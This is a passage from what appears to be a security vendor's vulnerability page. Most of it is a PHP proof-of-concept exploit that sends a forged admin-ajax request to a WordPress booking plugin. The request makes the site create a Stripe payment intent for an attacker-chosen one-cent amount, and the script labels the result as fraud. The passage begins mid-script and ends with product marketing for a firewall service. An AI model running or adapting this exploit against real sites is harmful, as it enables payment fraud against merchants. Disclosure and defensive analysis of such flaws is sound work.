$stripe_intent_action = 'intentForStripe'; // One of: intentForStripe, intentForStripeExpressCheckout, intentForStripePayPay, intentForStripeKonbini
$fraudulent_amount = 1; // Amount in cents ($0.01)

// Example booking data (must match a valid booking on the target site)
$post_data = array(
    'action'      => $action,
    'function'    => $stripe_intent_action,
    'amount'      => $fraudulent_amount,
    'timeKey'     => 1, // Must be a valid time slot ID
    'accountKey'  => 1, // Must be a valid calendar account ID
    'applicantCount' => 1,
    'currency'    => 'usd',
);

// ===== EXPLOIT =====
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Status Code: " . $http_code . "n";
echo "Response:n" . print_r(json_decode($response, true), true) . "n";

if ($http_code === 200) {
    $data = json_decode($response, true);
    if (isset($data['intent']) && isset($data['intent']['id'])) {
        echo "[SUCCESS] PaymentIntent created with ID: " . $data['intent']['id'] . "n";
        echo "[FRAUD] Amount set to: " . ($fraudulent_amount / 100) . " " . strtoupper($post_data['currency']) . "n";
    } elseif (isset($data['status']) && $data['status'] === false) {
        echo "[ERROR] Server rejected the request (likely patched or invalid booking data)n";
    } else {
        echo "[INFO] Unexpected response formatn";
    }
} else {
    echo "[ERROR] Request failed or blockedn";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School